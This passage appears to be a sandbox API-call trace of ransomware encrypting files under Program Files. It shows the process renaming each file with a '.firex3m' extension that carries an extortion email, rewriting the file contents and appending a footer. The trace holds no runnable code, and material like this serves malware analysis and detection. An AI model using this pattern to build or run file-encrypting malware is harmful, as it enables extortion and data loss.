hFile=0x620, lpBuffer=0x6d0b2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0b2f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.837] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.837] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.837] CloseHandle (hObject=0x620) returned 1 [0210.837] GetProcessHeap () returned 0x630000 [0210.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0950 | out: hHeap=0x630000) returned 1 [0210.837] GetProcessHeap () returned 0x630000 [0210.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0210.837] GetProcessHeap () returned 0x630000 [0210.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0210.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x439f17b2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x5d7fd20, dwReserved1=0x6d2558, cFileName="SLATE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLATEI~1.FIR")) returned 0x6d5000 [0210.838] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0210.838] Sleep (dwMilliseconds=0x1) [0210.853] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM", len=0x6a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM") returned 1 [0210.853] GetProcessHeap () returned 0x630000 [0210.853] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dec) returned 0x6fe4288 [0210.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.854] CloseHandle (hObject=0x620) returned 1 [0210.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLATEE~1.FIR")) returned 0x6d52c0 [0210.856] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0210.856] GetProcessHeap () returned 0x630000 [0210.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0210.857] GetProcessHeap () returned 0x630000 [0210.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0210.857] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.857] ReadFile (in: hFile=0x620, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.846] GetProcessHeap () returned 0x630000 [0217.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0217.847] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.847] WriteFile (in: hFile=0x620, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.847] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.847] WriteFile (in: hFile=0x620, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.847] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.847] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.848] CloseHandle (hObject=0x620) returned 1 [0217.848] GetProcessHeap () returned 0x630000 [0217.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0217.848] GetProcessHeap () returned 0x630000 [0217.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0217.848] GetProcessHeap () returned 0x630000 [0217.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0217.848] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x47cb3164, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x14c64, dwReserved0=0xaf87496, dwReserved1=0x734a090, cFileName="SLATE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLATEE~1.FIR")) returned 0x6d5280 [0217.848] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0217.848] Sleep (dwMilliseconds=0x1) [0219.388] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml") returned 1 [0219.388] GetProcessHeap () returned 0x630000 [0219.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d4) returned 0x6fe3bb0 [0219.388] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0219.390] CloseHandle (hObject=0x6ec) returned 1 [0219.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.390] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0219.391] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.391] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0219.391] GetProcessHeap () returned 0x630000 [0219.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0ca0 [0219.391] GetProcessHeap () returned 0x630000 [0219.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f04a8 [0219.391] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.391] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f0ca0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0ca0*, lpNumberOfBytesRead=0x5d7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0219.395] GetProcessHeap () returned 0x630000 [0219.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0219.395] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.395] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f04a8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f04a8*, lpNumberOfBytesWritten=0x5d7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0219.395] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.395] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f0707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0707*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.395] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.395] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.395] CloseHandle (hObject=0x6ec) returned 1 [0219.396] GetProcessHeap () returned 0x630000 [0219.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f04a8 | out: hHeap=0x630000) returned 1 [0219.396] GetProcessHeap () returned 0x630000 [0219.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0ca0 | out: hHeap=0x630000) returned 1 [0219.396] GetProcessHeap () returned 0x630000 [0219.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0219.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48b75f66, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5d7fd20, dwReserved1=0x6f0ca0, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0219.396] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0219.396] Sleep (dwMilliseconds=0x1) [0219.401] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html", len=0x6f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html") returned 1 [0219.401] GetProcessHeap () returned 0x630000 [0219.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d0) returned 0x6fe3bb0 [0219.401] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0219.402] CloseHandle (hObject=0x6ec) returned 1 [0219.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.402] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0219.403] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.403] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0219.403] GetProcessHeap () returned 0x630000 [0219.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x72fcbb8 [0219.403] GetProcessHeap () returned 0x630000 [0219.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x731cfd8 [0219.403] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.403] ReadFile (in: hFile=0x6ec, lpBuffer=0x72fcbb8, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72fcbb8*, lpNumberOfBytesRead=0x5d7ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.545] GetProcessHeap () returned 0x630000 [0224.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0224.545] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.545] WriteFile (in: hFile=0x6ec, lpBuffer=0x731cfd8*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesWritten=0x5d7ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0225.234] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.234] WriteFile (in: hFile=0x6ec, lpBuffer=0x7327077*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7327077*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.755] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.755] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.755] CloseHandle (hObject=0x6ec) returned 1 [0225.756] GetProcessHeap () returned 0x630000 [0225.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0225.757] GetProcessHeap () returned 0x630000 [0225.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72fcbb8 | out: hHeap=0x630000) returned 1 [0225.757] GetProcessHeap () returned 0x630000 [0225.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0225.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xaf87496, dwReserved1=0x72fcbb0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0225.959] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.959] Sleep (dwMilliseconds=0x1) [0225.972] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml") returned 1 [0225.972] GetProcessHeap () returned 0x630000 [0225.972] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0225.972] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.093] CloseHandle (hObject=0x6c0) returned 1 [0226.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.094] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml" (normalized: "c:\\program 